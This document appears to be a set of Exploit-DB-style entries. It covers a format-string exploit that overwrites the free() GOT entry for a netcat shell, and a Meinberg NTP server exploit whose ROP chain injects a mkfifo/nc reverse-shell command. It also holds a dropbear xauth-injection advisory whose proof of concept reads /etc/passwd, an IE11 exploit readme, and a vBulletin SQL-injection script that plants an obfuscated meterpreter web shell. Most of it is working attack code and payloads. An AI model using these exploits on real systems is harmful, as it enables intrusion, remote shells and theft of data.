		FMScode.AddADDR(BSSint)		# BSS shellcode address
		FMScode.AddWRITEn(1)		# 4 bytes Write-What
#		FMScode.AddWRITElln(1)		# Easier to locate while debugging as this will write double word (0x00000000004xxxxx)

	# End of 'One-Write-Where-And-What'


	# This is an 'Two-Write-Where-And-What' for FMS
	#
	# Netcat shell and FMS code in same request, we will jump to the SSI function <!--#exec cmd="xxx" -->
	# We jump over all SSI tagging to end up directly where "xxx" will
	# be the string passed on to SSI exec function ('/bin/sh -c', pipe(), vfork() and execv())
	#
	# The Trick here is to write lower target address, that we will jump to when calling free(),
	# than the FMS has counted up to, by using Two-Write-Where-and-What with two writes to free() GOT
	# address with two LSB writes.
	#
	elif NCSH2:
		#
		# Direct parameter access for FMS exploitation are really nice and easy to use.
		# However, we need to exploit in two stages with two requests.
		# (I was trying to avoid this "Two-Stages" so much as possibly in this exploit developement...)
		#
		# 1. Write "Two-Write-Where", where 2nd is two bytes higher than 1st (this allows us to write to MSB and LSB)
		# 2. Write with "Two-Write-What", where 1st (LSB) and 2nd (MSB) "Write-Where" pointing to.
		# 
		# With "new style", we can write with POPs independently as we don't depended of same criteria as in "NCSH1",
		# we can use any regular "Stack-to-Stack" pointer as we can freely choose the POP-and-Write.
		# [Note the POP1/POP2 (low-high) vs POP3/POP4 (high-low) difference.]
		#
		# Stack Example:
		#
		# Stack content	|	Stack address (ASLR)
		#
		# 0x7e818dd0	|	@0x7e818dc4>>>>>+ 1st "Write-Where" [@Stage One]
		# 0x76f41fb8	|	@0x7e818dc8     |
		# 0x76f3d70c	|	@0x7e818dcc     |
		# 0x76f55ab8	|	@0x7e818dd0<<<<<+ 1st "Write-What" [@Stage Two]
		# 0x1		|	@0x7e818dd4
		# [....]
		# 0x1c154	|	@0x7e818e10
		# 0x7e818e20	|	@0x7e818e14>>>>>+ 2nd "Write-Where" [@Stage One]
		# 0x76f41fb8	|	@0x7e818e18     |
		# 0x76f3d70c	|	@0x7e818e1c     |
		# 0x76f55758	|	@0x7e818e20<<<<<+ 2nd "Write-What" [@Stage Two]
		# 0x1		|	@0x7e818e24
		#

		FMScode.Add(shell)

		#
		# 1st and 2nd "Write-Where" already done in stage one
		#
		# 1st and 2nd "Write-What"
		#
		FMScode.AddADDR(GOTint + FirstWhat)	# Run up to 0x0002XXXX, write with LSB (0xXXXX) to LSB in target address.
		FMScode.AddDirectParameterN(POP3)	# Write with 4 bytes (we want to zero out in MSB)
		FMScode.AddADDR(SecondWhat + 3)		# Run up to 0x00020300, write with LSB (0xZZ) to lower part of MSB. (0x00ZZXXXX)
		FMScode.AddDirectParameterHHN(POP4)	# Write with one byte 0x000203[00] or 0x000203[01] depending from above calculation

	elif NCSH1:
		# Could use direct argument addressing here, but I like to keep "old style" as well,
		# as it's another interesting concept.
		#
		# Two matching stack contents -> stack address in row w/o or max two POP's between,
		# is needed to write two bytes higher (MSB).
		# 
		#
		# Stack Example:
		#
		# Stack Content	|	@Stack Address (ASLR)
		#
		# 0x9c		|	@7ef2fde8 -> [POP1's]
		# [....]
		# 0x1		|	@7ef2fdec -> [GOTint address]
		#------
		# 0x7ef2fe84	|	@7ef2fdf0 >>>>>+     Write 'FirstWhere' (%n) [LSB]
		#                       -> 'XX'        |     two bytes (Can be one or two POP's as well, by using %2c or %1c%1c as POPer)
		# 0x7ef2fe8c	|	@7ef2fdf4 >>>>>>>>>+ Write 'SecondWhere' (%n) [MSB]
		# ------                               |   |
		# [....]                -> [POP3's]    |   |
		# 0x7fb99dc	|	@7ef2fe7c      |   |
		# 0x7ef2fe84	|	@7ef2fe80      |   | [Count up to 0x2XXXX]
		# 0x7ef2ff6a	|	@7ef2fe84 <<<<<+   | Write 'XXXX' 'FirstWhat' (%n) (0x0002XXXX))
		#                       -> [POP4's]        |
		# (nil)		|	@7ef2fe88          | [Count up to 0x20300]
		# 0x7ef2ff74	|	@7ef2fe8c <<<<<<<<<+ Write 'ZZ' 'SecondWhat' (%hhn) (0x00ZZXXXX)

		FMScode.Add(shell)

		# Write FirstWhere for 'FirstWhat'
		FMScode.AddPOP(POP1)
		FMScode.AddADDR(GOTint) # Run up to free() GOT address
		FMScode.AddWRITEn(1)

		# Write SecondWhere for 'SecondWhat'
		#
		# This is special POP with 1 byte, we can maximum POP 2!
		#
		# This POP sequence is actually no longer used in this part of exploit, was developed to meet the requirement
		# for exploitation of 5.2.x and 5.40.x, as there needed to be one POP with maximum of two bytes.
		# Kept as reference as we now using direct parameter access AKA 'New Style" for 5.2x/5.4x
		#
		if POP2 != 0:
			# We only want to write 'SecondWhat' two bytes higher at free() GOT
			if POP2 > 2:
				print "POP2 can't be greater than two!"
				sys.exit(1)
			if POP2 == 1:
				FMScode.Add("%2c")
			else:
				FMScode.Add("%1c%1c")
		else:
			FMScode.Add("XX")
		FMScode.AddWRITEn(1)

		# Write FirstWhat pointed by FirstWhere
		FMScode.AddPOP(POP3)		# Old Style POP's
		FMScode.AddADDR(FirstWhat)	# Run up to 0x0002XXXX, write with LSB (0xXXXX) to LSB in target address.
		FMScode.AddWRITEn(1)		# Write with 4 bytes (we want to zero out in MSB)
		
		# Write SecondWhat pointed by SecondWhere
		FMScode.AddPOP(POP4)		# Old Style POP's
		FMScode.AddADDR(SecondWhat)	# Run up to 0x00020300, write with LSB (0xZZ) to lower part of MSB. (0x00ZZXXXX)
		FMScode.AddWRITEhhn(1)		# Write with one byte 0x000203[00] or 0x000203[01] depending from above calculation

	else:
		sys.exit(1)

	FMSdata = FMScode.FMSbuild()

	print "[>] StG_2: Writing shellcode address to free() GOT address:",'0x{:08x}'.format(GOThex),"(%d bytes)" % (len(FMSdata))

	# FMS comes here, and calculations start after '=' in the url
	try:
		if NCSH1 or NCSH2:
			html = HTTPconnect(rhost,proto,verbose,creds,noexploit).RAW(target_url2 + FMSdata) # Netcat shell
		else:
			html = HTTPconnect(rhost,proto,verbose,creds,noexploit).Send(target_url2 + FMSdata) # MIPS/CRIS shellcode
	except urllib2.HTTPError as e:
		print "[!] Payload delivery failed:",str(e)
		sys.exit(1)
	except Exception as e:
		# 1st string returned by HTTP mode, 2nd by HTTPS mode
		if str(e) == "timed out" or str(e) == "('The read operation timed out',)":
			print "[i] Timeout! Payload delivered sucessfully!"
		else:
			print "[!] Payload delivery failed:",str(e)
			sys.exit(1)

	if noexploit:
		print "\n[*] Not exploiting, no shell...\n"
	else:
		print "\n[*] All done, enjoy the shell...\n"

#
# [EOF]
#
            
#!/usr/bin/python
#
# EDB Note: Source ~ https://github.com/securifera/CVE-2016-3962-Exploit
# EDB Note: More info ~ https://www.securifera.com/blog/2016/07/17/time-to-patch-rce-on-meinberg-ntp-time-server/
#
# 271 - trigger notifications
# 299 - copy user defined notifications

# Kernel Version: 2.6.15.1
# System Version: 530 
# Lantime configuration utility 1.27
# ELX800/GPS M4x V5.30p

import socket
import struct
import telnetlib
import sys
import time

if len(sys.argv) < 3:
	print "[-] <Host> <Callback IP> "
	exit(1)

	
host = sys.argv[1]
callback_ip = sys.argv[2]

print "[+] exploiting Meinburg M400"
port = 80

###################################################################
#
# Copy user_defined_notification to /www/filetmp
# Append reverse shell string to /file/tmp	
#
csock = socket.socket( socket.AF_INET, socket.SOCK_STREAM)
csock.connect ( (host, int(port)) )

param = "A" * 0x2850

resp = "POST /cgi-bin/main HTTP/1.1\r\n"
resp += "Host: " + host + "\r\n"
resp += "User-Agent: Mozilla/5.0\r\n"
resp += "Accept: text/html\r\n"
resp += "Accept-Language: en-US\r\n"
resp += "Connection: keep-alive\r\n"
resp += "Content-Type: application/x-www-form-urlencoded\r\n"

system = 0x80490B0
exit = 0x80492C0
some_str = 0x850BDB8

#must have a listener setup to receive the callback connection on ip 192.168.60.232
# i.e. nc -v -l -p 4444
command = 'cp /mnt/flash/config/user_defined_notification /www/filetmp; echo "{rm,/tmp/foo};{mkfifo,/tmp/foo};/bin/bash</tmp/foo|{nc,' + callback_ip +'0,4444}>/tmp/foo;" >> /www/filetmp'

msg = "button=" + "A"*10028 
msg += struct.pack("I", system )
msg += struct.pack("I", exit )
msg += struct.pack("I", some_str )
msg += command + "\x00"

resp += "Content-Length: " + str(len(msg)) + "\r\n\r\n"
resp += msg
csock.send(resp)
csock.close()

time.sleep(1)

###################################################################
#
# Copy /www/filetmp to user_defined_notification	
# 
csock = socket.socket( socket.AF_INET, socket.SOCK_STREAM)
csock.connect ( (host, int(port)) )

param = "A" * 0x2850

resp = "POST /cgi-bin/main HTTP/1.1\r\n"
resp += "Host: " + host + "\r\n"
resp += "User-Agent: Mozilla/5.0\r\n"
resp += "Accept: text/html\r\n"
resp += "Accept-Language: en-US\r\n"
resp += "Connection: keep-alive\r\n"
resp += "Content-Type: application/x-www-form-urlencoded\r\n"

send_cmd = 0x807ED88
system = 0x80490B0
exit = 0x80492C0
some_str = 0x850BDB8
ret = 0x804CE65

#stack pivot
stack_pivot = 0x8049488
msg = "button=" + "A" * 9756

msg += "B" * 28
msg += struct.pack("I", 0x7FFEE01A )       # ebp
msg += struct.pack("I", 0x0804ce64 )       # pop eax ; ret
msg += struct.pack("I", some_str - 0x100 ) # some place
msg += struct.pack("I", 0x080855cc )       # add dword ptr [eax + 0x60], ebp ; ret
msg += struct.pack("I", 0x080651d4 )       # inc dword ptr [ebx + 0x566808ec] ; ret
msg += struct.pack("I", ret ) * (71/4)

msg += struct.pack("I", send_cmd )
msg += struct.pack("I", exit )
msg += struct.pack("I", 0x80012111 )       # [eax + 0x60]
msg += struct.pack("I", some_str )         # buffer
msg += struct.pack("I", 0xffffffff )       # count
msg += "E" * 120

msg += struct.pack("I", 0xB1E8B434 )   # ebx
msg += struct.pack("I", some_str - 100 )   # esi
msg += struct.pack("I", some_str - 100 )   # edi
msg += struct.pack("I", some_str - 0x100 ) # ebp
msg += struct.pack("I", stack_pivot )      # mov esp, ebp ; ret
msg += "A" * 100

resp += "Content-Length: " + str(len(msg)) + "\r\n\r\n"
resp += msg
csock.send(resp)
csock.close

time.sleep(1)

###################################################################
#
# Trigger reverse shell	
# 
	
csock = socket.socket( socket.AF_INET, socket.SOCK_STREAM)
csock.connect ( (host, int(port)) )

param = "A" * 0x2850

resp = "POST /cgi-bin/main HTTP/1.1\r\n"
resp += "Host: " + host + "\r\n"
resp += "User-Agent: Mozilla/5.0\r\n"
resp += "Accept: text/html\r\n"
resp += "Accept-Language: en-US\r\n"
resp += "Connection: keep-alive\r\n"
resp += "Content-Type: application/x-www-form-urlencoded\r\n"

send_cmd = 0x807ED88
system = 0x80490B0
exit = 0x80492C0
some_str = 0x850BDB8
ret = 0x804CE65

#stack pivot
stack_pivot = 0x8049488
msg = "button=" + "A" * 9756

msg += "B" * 28
msg += struct.pack("I", 0x7FFEE01A )       # ebp
msg += struct.pack("I", 0x0804ce64 )       # pop eax ; ret
msg += struct.pack("I", some_str - 0x100 ) # some place
msg += struct.pack("I", 0x080855cc )       # add dword ptr [eax + 0x60], ebp ; ret
msg += struct.pack("I", 0x080651d4 )       # inc dword ptr [ebx + 0x566808ec] ; ret
msg += struct.pack("I", ret ) * (71/4)

msg += struct.pack("I", send_cmd )
msg += struct.pack("I", exit )
msg += struct.pack("I", 0x800120f5 )       # [eax + 0x60]
msg += struct.pack("I", some_str )         # buffer
msg += struct.pack("I", 0xffffffff )       # count
msg += "E" * 120

msg += struct.pack("I", 0xB1E8B434 )   # ebx
msg += struct.pack("I", some_str - 100 )   # esi
msg += struct.pack("I", some_str - 100 )   # edi
msg += struct.pack("I", some_str - 0x100 ) # ebp
msg += struct.pack("I", stack_pivot )      # mov esp, ebp ; ret
msg += "A" * 100

resp += "Content-Length: " + str(len(msg)) + "\r\n\r\n"
resp += msg
csock.send(resp)
csock.close()

time.sleep(1)


print "[+] cleaning up"
###################################################################
#
# Kill all mains that are hung-up
#
csock = socket.socket( socket.AF_INET, socket.SOCK_STREAM)
csock.connect ( (host, int(port)) )

param = "A" * 0x2850

resp = "POST /cgi-bin/main HTTP/1.1\r\n"
resp += "Host: " + host + "\r\n"
resp += "User-Agent: Mozilla/5.0\r\n"
resp += "Accept: text/html\r\n"
resp += "Accept-Language: en-US\r\n"
resp += "Connection: keep-alive\r\n"
resp += "Content-Type: application/x-www-form-urlencoded\r\n"

system = 0x80490B0
exit = 0x80492C0
some_str = 0x850BDB8

command = 'killall main'

msg = "button=" + "A"*10028 
msg += struct.pack("I", system )
msg += struct.pack("I", exit )
msg += struct.pack("I", some_str )
msg += command + "\x00"

resp += "Content-Length: " + str(len(msg)) + "\r\n\r\n"
resp += msg
csock.send(resp)
csock.close()

print "[+] enjoy"
            
VuNote
============

	Author:		<github.com/tintinweb>
	Ref:		https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-3116
	Version: 	0.2
	Date: 		Mar 3rd, 2016
	
	Tag:		dropbearsshd xauth command injection may lead to forced-command bypass

Overview
--------

	Name:			dropbear
	Vendor:			Matt Johnston
	References:		* https://matt.ucc.asn.au/dropbear/dropbear.html [1]
	
	Version:		2015.71
	Latest Version:	2015.71
	Other Versions:	<= 2015.71 (basically all versions with x11fwd support; v0.44 ~11 years)
	Platform(s):	linux
	Technology:		c

	Vuln Classes:	CWE-93 - Improper Neutralization of CRLF Sequences ('CRLF Injection')
	Origin:			remote
	Min. Privs.:	post auth

	CVE:			CVE-2016-3116



Description
---------

quote website [1]

>Dropbear is a relatively small SSH server and client. It runs on a variety of POSIX-based platforms. Dropbear is open source software, distributed under a MIT-style license. Dropbear is particularly useful for "embedded"-type Linux (or other Unix) systems, such as wireless routers.

Summary 
-------

An authenticated user may inject arbitrary xauth commands by sending an
x11 channel request that includes a newline character in the x11 cookie. 
The newline acts as a command separator to the xauth binary. This attack requires 
the server to have 'X11Forwarding yes' enabled. Disabling it, mitigates this vector.

By injecting xauth commands one gains limited* read/write arbitrary files, 
information leakage or xauth-connect capabilities. These capabilities can be
leveraged by an authenticated restricted user - e.g. one with configured forced-commands - to bypass 
account restriction. This is generally not expected.

The injected xauth commands are performed with the effective permissions of the 
logged in user as the sshd already dropped its privileges. 

Quick-Info:

* requires: X11Forwarding yes
* does *NOT* bypass /bin/false due to special treatment (like nologin)
* bypasses forced-commands (allows arbitr. read/write)

Capabilities (xauth):

* Xauth
	* write file: limited chars, xauthdb format
	* read file: limit lines cut at first \s
	* infoleak: environment
	* connect to other devices (may allow port probing)


see attached PoC


Details
-------

// see annotated code below

	* x11req (svr-x11fwd.c:46)
      
    * execchild (svr-chansession.c:893)
     *- x11setauth (svr-x11fwd.c:129)

Upon receiving an `x11-req` type channel request dropbearsshd parses the channel request
parameters `x11authprot` and `x11authcookie` from the client ssh packet where
`x11authprot` contains the x11 authentication method used (e.g. `MIT-MAGIC-COOKIE-1`)
and `x11authcookie` contains the actual x11 auth cookie. This information is stored
in a session specific datastore. When calling `execute` on that session, dropbear will
call `execchild` and - in case it was compiled with x11 support - setup x11 forwarding
by executing `xauth` with the effective permissions of the user and pass commands via `stdin`.
Note that `x11authcookie` nor `x11authprot` was sanitized or validated, it just contains
user-tainted data. Since `xauth` commands are passed via `stdin` and `\n` is a
command-separator to the `xauth` binary, this allows a client to inject arbitrary
`xauth` commands.

This is an excerpt of the `man xauth` [2] to outline the capabilities of this xauth
command injection:

	SYNOPSIS
       	xauth [ -f authfile ] [ -vqibn ] [ command arg ... ]

		add displayname protocolname hexkey
		generate displayname protocolname [trusted|untrusted] [timeout seconds] [group group-id] [data hexdata]
		[n]extract filename displayname...
		[n]list [displayname...]
		[n]merge [filename...]
		remove displayname...
		source filename
		info  
		exit
		quit
		version
		help
		?
		
Interesting commands are:
	
	info	 - leaks environment information / path
			~# xauth info
			xauth:  file /root/.Xauthority does not exist
			Authority file:       /root/.Xauthority
			File new:             yes
			File locked:          no
			Number of entries:    0
			Changes honored:      yes
			Changes made:         no
			Current input:        (argv):1
	
	source	 - arbitrary file read (cut on first `\s`)
			# xauth source /etc/shadow
			xauth:  file /root/.Xauthority does not exist
			xauth: /etc/shadow:1:  unknown command "smithj:Ep6mckrOLChF.:10063:0:99999:7:::"
						
	extract  - arbitrary file write 
			 * limited characters
	         * in xauth.db format
	         * since it is not compressed it can be combined with `xauth add` to 
	           first store data in the database and then export it to an arbitrary
	           location e.g. to plant a shell or do other things.
	
	generate - connect to <ip>:<port> (port probing, connect back and pot. exploit
			   vulnerabilities in X.org
	
	
Source
------

Inline annotations are prefixed with `//#!`

* handle x11 request, stores cookie in `chansess`
	```c
	/* called as a request for a session channel, sets up listening X11 */
	/* returns DROPBEAR_SUCCESS or DROPBEAR_FAILURE */
	int x11req(struct ChanSess * chansess) {
	
		int fd;
	
		/* we already have an x11 connection */
		if (chansess->x11listener != NULL) {
			return DROPBEAR_FAILURE;
		}
	
		chansess->x11singleconn = buf_getbyte(ses.payload);
		chansess->x11authprot = buf_getstring(ses.payload, NULL);			//#! store user tainted data
		chansess->x11authcookie = buf_getstring(ses.payload, NULL);			//#! store user tainted data
		chansess->x11screennum = buf_getint(ses.payload);
	```
	
* set auth cookie/authprot

	```c
	/* This is called after switching to the user, and sets up the xauth
	 * and environment variables.  */
	void x11setauth(struct ChanSess *chansess) {
	
		char display[20]; /* space for "localhost:12345.123" */
		FILE * authprog = NULL;
		int val;
	
		if (chansess->x11listener == NULL) {
			return;
		}
	
		...
	
		/* popen is a nice function - code is strongly based on OpenSSH's */
		authprog = popen(XAUTH_COMMAND, "w");										//#!  run xauth binary
		if (authprog) {
			fprintf(authprog, "add %s %s %s\n",
					display, chansess->x11authprot, chansess->x11authcookie);		//#!  \n injection in cookie, authprot
			pclose(authprog);
		} else {
			fprintf(stderr, "Failed to run %s\n", XAUTH_COMMAND);
		}
	}
	```

Proof of Concept
----------------

Prerequisites: 

* install python 2.7.x
* issue `#> pip install paramiko` to install `paramiko` ssh library for python 2.x
* run `poc.py`

Note: see cve-2016-3115 [3] for `poc.py`

	 Usage: <host> <port> <username> <password or path_to_privkey>
	        
	        path_to_privkey - path to private key in pem format, or '.demoprivkey' to use demo private key
	        

poc:

1. configure one user (user1) for `force-commands`:
	```c 
	#PUBKEY line - force commands: only allow "whoami"
	#cat /home/user1/.ssh/authorized_keys
	command="whoami" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1RpYKrvPkIzvAYfX/ZeU1UzLuCVWBgJUeN/wFRmj4XKl0Pr31I+7ToJnd7S9JTHkrGVDu+BToK0f2dCWLnegzLbblr9FQYSif9rHNW3BOkydUuqc8sRSf3M9oKPDCmD8GuGvn40dzdub+78seYqsSDoiPJaywTXp7G6EDcb9N55341o3MpHeNUuuZeiFz12nnuNgE8tknk1KiOx3bsuN1aer8+iTHC+RA6s4+SFOd77sZG2xTrydblr32MxJvhumCqxSwhjQgiwpzWd/NTGie9xeaH5EBIh98sLMDQ51DIntSs+FMvDx1U4rZ73OwliU5hQDobeufOr2w2ap7td15 user1@box

	#cat /etc/passwd
	user1:x:1001:1001:,,,:/home/user1:/bin/bash
	```
	    
2. run dropbearsshd (x11fwd is on by default)

	```c
	#> ~/dropbear-2015.71/dropbear -R -F -E -p 2222
	[22861] Not backgrounding
	[22862] Child connection from 192.168.139.1:49597
	[22862] Forced command 'whoami'
	[22862] Pubkey auth succeeded for 'user1' with key md5 dc:b8:56:71:89:36:fb:dc:0e:a0:2b:17:b9:83:d2:dd from 192.168.139.1:49597
	```	

3. `forced-commands` - connect with user1 and display env information

	```c
	#> python <host> 2222 user1 .demoprivkey
	
	INFO:__main__:add this line to your authorized_keys file: 
	#PUBKEY line - force commands: only allow "whoami"
	#cat /home/user/.ssh/authorized_keys
	command="whoami" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1RpYKrvPkIzvAYfX/ZeU1UzLuCVWBgJUeN/wFRmj4XKl0Pr31I+7ToJnd7S9JTHkrGVDu+BToK0f2dCWLnegzLbblr9FQYSif9rHNW3BOkydUuqc8sRSf3M9oKPDCmD8GuGvn40dzdub+78seYqsSDoiPJaywTXp7G6EDcb9N55341o3MpHeNUuuZeiFz12nnuNgE8tknk1KiOx3bsuN1aer8+iTHC+RA6s4+SFOd77sZG2xTrydblr32MxJvhumCqxSwhjQgiwpzWd/NTGie9xeaH5EBIh98sLMDQ51DIntSs+FMvDx1U4rZ73OwliU5hQDobeufOr2w2ap7td15 user@box
	
	INFO:__main__:connecting to: user1:<PKEY>@192.168.139.129:2222
	INFO:__main__:connected!
	INFO:__main__:
	Available commands:
	    .info
	    .readfile <path>
	    .writefile <path> <data>
	    .exit .quit
	    <any xauth command or type help>
	
	#> .info
	DEBUG:__main__:auth_cookie: '\ninfo'
	DEBUG:__main__:dummy exec returned: None
	INFO:__main__:Authority file:       /home/user1/.Xauthority
	File new:             no
	File locked:          no
	Number of entries:    2
	Changes honored:      yes
	Changes made:         no
	Current input:        (stdin):2
	user1
	/usr/bin/xauth: (stdin):1:  bad "add" command line
	
	...
	```
	
4. `forced-commands` - read `/etc/passwd`

	```c
	...
	#> .readfile /etc/passwd
	DEBUG:__main__:auth_cookie: 'xxxx\nsource /etc/passwd\n'
	DEBUG:__main__:dummy exec returned: None
	INFO:__main__:root:x:0:0:root:/root:/bin/bash
	daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
	bin:x:2:2:bin:/bin:/usr/sbin/nologin
	sys:x:3:3:sys:/dev:/usr/sbin/nologin
	sync:x:4:65534:sync:/bin:/bin/sync
	...
	```
		
5. `forced-commands` - write `/tmp/testfile`

	```c
	#> .writefile /tmp/testfile1 `thisisatestfile`
	DEBUG:__main__:auth_cookie: '\nadd 127.0.0.250:65500 `thisisatestfile` aa'
	DEBUG:__main__:dummy exec returned: None
	DEBUG:__main__:auth_cookie: '\nextract /tmp/testfile1 127.0.0.250:65500'
	DEBUG:__main__:dummy exec returned: None
	DEBUG:__main__:user1
	/usr/bin/xauth: (stdin):1:  bad "add" command line
	
	#> INFO:__main__:/tmp/testfile1
	
	#> ls -lsat /tmp/testfile1
	4 -rw------- 1 user1 user1 59 xx xx 12:51 /tmp/testfile1
	
	#> cat /tmp/testfile1
	ú65500hiú65500`thisisatestfile`ªr
	```
	
6. `forced-commands` - initiate outbound X connection to 8.8.8.8:6100

	```c
	#> generate 8.8.8.8:100
	DEBUG:__main__:auth_cookie: '\ngenerate 8.8.8.8:100'
	DEBUG:__main__:dummy exec returned: None
	INFO:__main__:user1
	/usr/bin/xauth: (stdin):1:  bad "add" command line
	/usr/bin/xauth: (stdin):2:  unable to open display "8.8.8.8:100".
	
	#> tcpdump 
	IP <host> 8.8.8.8.6100: Flags [S], seq 81800807, win 29200, options [mss 1460,sackOK,TS val 473651893 ecr 0,nop,wscale 10], length 0
	```	

Fix
---

* Sanitize user-tainted input `chansess->x11authcookie`


Mitigation / Workaround
------------------------

* disable x11-forwarding: re-compile without x11 support: remove `options.h` -> `#define ENABLE_X11FWD`

Notes
-----

Thanks to the OpenSSH team for coordinating the fix!

Vendor response see: changelog [4]


References
----------

	[1] https://matt.ucc.asn.au/dropbear/dropbear.html
	[2] http://linux.die.net/man/1/xauth
	[3] https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-3115/
	[4] https://matt.ucc.asn.au/dropbear/CHANGES
	
Contact
-------

	https://github.com/tintinweb
            
Source: https://github.com/theori-io/cve-2016-0189

# CVE-2016-0189
Proof-of-Concept exploit for CVE-2016-0189 (VBScript Memory Corruption in IE11)

Tested on Windows 10 IE11.

### Write-up
http://theori.io/research/cve-2016-0189

### To run
1. Download `support/*.dll` (or compile \*.cpp for yourself) and `exploit/*.html` to a directory.
2. Serve the directory using a webserver (or python's simple HTTP server).
3. Browse with a victim IE to `vbscript_bypass_pm.html`.
4. (Re-fresh or re-open in case it doesn't work; It's not 100% reliable.)

Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40118.zip
            
CVE-2014-2022 - vbulletin 4.x - SQLi in breadcrumbs via xmlrpc API (post-auth)
==============================================================================

Overview
--------

	date    :  10/12/2014   
	cvss    :  7.1 (AV:N/AC:H/Au:S/C:C/I:C/A:C) base
	cwe     :  89   
	
	vendor  : vBulletin Solutions
	product : vBulletin 4
	versions affected :  latest 4.x (to date); verified <= 4.2.2
			* vBulletin 4.2.2     (verified)  
			* vBulletin 4.2.1     (verified)  
			* vBulletin 4.2.0 PL2 (verified)  
						
	exploitability :
			* remotely exploitable
			* requires authentication (apikey)
				
	patch availability (to date) :  None
				
Abstract
---------
 
	vBulletin 4 does not properly sanitize parameters to breadcrumbs_create allowing
	an attacker to inject arbitrary SQL commands (SELECT).
	
	risk:  rather low - due to the fact that you the api key is required
		   you can probably use CVE-2014-2023 to obtain the api key



Details
--------
	
	vulnerable component: 
		./includes/api/4/breadcrumbs_create.php
	vulnerable argument:
		conceptid
	
	which is sanitized as TYPE_STRING which does not prevent SQL injections.


Proof of Concept (PoC)
----------------------

	see https://github.com/tintinweb/pub/tree/master/pocs/cve-2014-2022
	
	
	1) prerequisites
	1.1) enable API, generate API-key
		 logon to AdminCP
		 goto "vBulletin API"->"API-Key" and enable the API interface, generate key
	2) run PoC
		 edit PoC to match your TARGET, APIKEY (, optionally DEBUGLEVEL)
		 provide WWW_DIR which is the place to write the php_shell to (mysql must have permissions for that folder)
		 Note: meterpreter_bind_tcp is not provided
		 run PoC, wait for SUCCESS! message
		 Note: poc will trigger meterpreter shell
		 
	meterpreter PoC scenario requires the mysql user to have write permissions 
	which may not be the case in some default installations.
	
	
Timeline
--------

	2014-01-14: initial vendor contact, no response
	2014-02-24: vendor contact, no response
	2014-10-13: public disclosure
	
Contact
--------
	tintinweb - https://github.com/tintinweb/pub/tree/master/pocs/cve-2014-2022
	
	
(0x721427D8)
	
- - -

#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
@author: tintinweb 0x721427D8
'''
import urllib2, cookielib, urllib, json, hashlib

class Exploit(object):
    
    baseurl = None
    cookies = None
    
    def __init__(self,baseurl,params, debuglevel=1):
        self.cookies = cookielib.LWPCookieJar()
        handlers = [
                    urllib2.HTTPHandler(debuglevel=debuglevel),
                    urllib2.HTTPSHandler(debuglevel=debuglevel),
                    urllib2.HTTPCookieProcessor(self.cookies)
                    ]
        self.browser = urllib2.build_opener(*handlers)
        self.baseurl=baseurl
        self.params = params
    
    def call(self,path="",data={}):
        assert(isinstance(data,dict))
        data = urllib.urlencode(data)

        req = urllib2.Request("%s%s"%(self.baseurl,path),data)
        req.add_header("Content-Type", "application/x-www-form-urlencoded")

        return self.browser.open(req)
    
    def call_json(self,path=None,data={}):
        try:
            x=self.call(path,data).read()
            print "raw_response", x
            resp =  json.loads(x)
        except urllib2.HTTPError, he:
            resp = he.read()
        return resp


    def vb_init_api(self):
        params = {'api_m':'api_init'}
        params.update(self.params)
        data = self.call_json("?%s"%(urllib.urlencode(params)))  
        self.session = data
        return data
    
    def vb_call(self, params):
        api_sig = self._vb_build_api_sig(params)
        req_params = self._vb_build_regstring(api_sig)
        params.update(req_params)
        data = self.call_json("?%s"%(urllib.urlencode(params)),data=params)
        if not isinstance(data, dict):
            return data
        if 'errormessage' in data['response'].keys():
            raise Exception(data)
        return data

    def _ksort(self, d):
        ret = []
        for key, value in [(k,d[k]) for k in sorted(d.keys())]:
            ret.append( "%s=%s"%(key,value))
        return "&".join(ret)

    def _ksort_urlencode(self, d):
        ret = []
        for key, value in [(k,d[k]) for k in sorted(d.keys())]:
            ret.append( urllib.urlencode({key:value}))
        return "&".join(ret)

    def _vb_build_api_sig(self, params):
        apikey = self.params['apikey']
        login_string = self._ksort_urlencode(params)
        access_token = str(self.session['apiaccesstoken'])
        client_id = str(self.session['apiclientid'])
        secret = str(self.session['secret'])
        return hashlib.md5(login_string+access_token+client_id+secret+apikey).hexdigest()
    
    def _vb_build_regstring(self, api_sig):
        params = {
                  'api_c':self.session['apiclientid'],
                  'api_s':self.session['apiaccesstoken'],
                  'api_sig':api_sig,
                  'api_v':self.session['apiversion'],
                  }
        return params
    

if __name__=="__main__":
    TARGET = "http://192.168.220.131/vbb4/api.php"
    APIKEY = "4FAVcRDc"
    REMOTE_SHELL_PATH = "/var/www/myShell.php"
    TRIGGER_URL = "http://192.168.220.131/myShell.php"
    DEBUGLEVEL = 0          # 1 to enable request tracking
    

    ### 2. sqli - simple - write outfile
    print "[  2 ] - sqli - inject 'into outfile' to create file xxxxx.php"
    params = {'clientname':'fancy_exploit_client',
             'clientversion':'1.0',
             'platformname':'exploit',
             'platformversion':'1.5',
             'uniqueid':'1234',
             'apikey':APIKEY} 
    x = Exploit(baseurl=TARGET,params=params)
    
    vars = x.vb_init_api()
    print vars
    '''
    x.vb_call(params={'api_m':'breadcrumbs_create',
                          'type':'t',
                          #'conceptid':"1 union select 1 into OUTFILE '%s'"%REMOTE_SHELL_PATH,
                          'conceptid':"1 union select 1 into OUTFILE '%s'"%(REMOTE_SHELL_PATH)
                          })
    
    print "[   *] SUCCESS! - created file %s"%TRIGGER_URL
    '''
    ### 3. sqli - put meterpreter shell and trigger it
    print "[  3 ] - sqli - meterpreter shell + trigger"
    with open("./meterpreter_bind_tcp") as f:
        shell = f.read()

    shell = shell.replace("<?php","").replace("?>","")          #cleanup tags
    shell = shell.encode("base64").replace("\n","")     #encode payload
    shell = "<?php eval(base64_decode('%s')); ?>"%shell # add decoderstub
    shell = "0x"+shell.encode("hex")                    # for mysql outfile
    
 
    x.vb_call(params={'api_m':'breadcrumbs_create',
                          'type':'t',
                          'conceptid':"1 union select %s into OUTFILE '%s'"%(shell,REMOTE_SHELL_PATH)})     
    print "[   *] SUCCESS! - triggering shell .. (script should not exit)"
    print "[    ] exploit: #>  msfcli multi/handler PAYLOAD=php/meterpreter/bind_tcp LPORT=4444 RHOST=<TARGET_IP> E"
    print "[   *] shell active ... waiting for it to die ..."
